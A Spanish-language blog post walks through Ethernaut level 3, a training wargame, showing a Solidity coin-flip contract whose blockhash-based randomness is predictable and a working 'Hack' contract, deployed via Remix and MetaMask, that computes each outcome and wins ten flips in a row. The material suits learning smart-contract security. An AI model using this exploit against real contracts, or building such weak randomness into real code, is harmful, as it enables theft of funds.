DEV Community

ciscodiazo
ciscodiazo

Posted on • Originally published at dev.to

Ethernaut Nivel 3: Coin Flip

Level 3: Coin Flip

Este es el nivel 3 del juego Ethernaut.

Requisitos previos

  • Blocks en la cadena de bloques de Ethereum
  • Solidity - interactuar con un contrato desplegado en una dirección. Lee this o mejor mira this

Atajos

Contrato dado:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Básicamente, necesitamos predecir el resultado del lanzamiento de la moneda correctamente 10 veces seguidas para ganar.

El contrato dado intenta simular el lanzamiento de una moneda al azar generando true o false usando el número de bloque de la red (Ropsten en nuestro caso). ¡Pero esto no es realmente aleatorio! Puede consultar muy fácilmente la red para ver el número de bloque actual.

Resulta que la generación de números aleatorios es una de las trampas graves de las cadenas de bloques debido a su naturaleza determinista. Es por eso que existen servicios dedicados para este propósito como Chainlink VRF.

Dado que se puede acceder fácilmente a este número de bloque, también podemos generar el resultado del lanzamiento de una moneda y alimentar este resultado a la function flip para tener una suposición e incremento correctos consecutiveWins. Podemos hacer esto porque el tiempo de bloqueo de la red será lo suficientemente largo para que block.number no cambie entre las llamadas a funciones.

Escribiremos un contrato de solidity en(Remix IDE) con casi el mismo código inicial, agregando al codigo la clase contract Hack{} y modificamos algunas funciones, veamos:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract  Hack {
    CoinFlip private immutable target;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _target) {
        target = CoinFlip(_target); 
    }

    function flip() external {
        bool guess = _guess();
        require(target.flip(guess), "guess failed");
    }

    function _guess() private view returns(bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        return side;
    }
}


contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

para esta modificación ingresamos a remix IDEen la carpeta contracts creamos el archivo CoinFlip.sol y escribimos el codigo anterior.

Regresa a openzeppelin en el nivel - CoinFlip solicita una instancia, cuando tenga la instancia desde la consola del navegador debera copiarla.

Nuevamente en remix IDE en el archivo CoinFlip.sol, busca deploy ubicado en la parte lateral izquierda, y en ENVIRONMENT, selecciona Injected Provider, acepta la solicitud de MetaMask

Ahora, en la opción CONTRACT (Compiled by Remix) selección la clase hack, pega la instancia en Deploy - address _targety clic en Deploy, y luego la misma instancia la pegamos en At Address y clickeamos.

Finalmente revisamos Deployed Contracts donde estara visible Hack y CoinFlip.

en CoinFlip presionamos el boton consecutiveWins, y en Hack clic en flip alternativamente y aceptamos desde MetaMask, aparecera el número 1,2... 11, cuando llege a 11, hemos terminado, enviamos la evidencia desde openzeppelin

Top comments (0)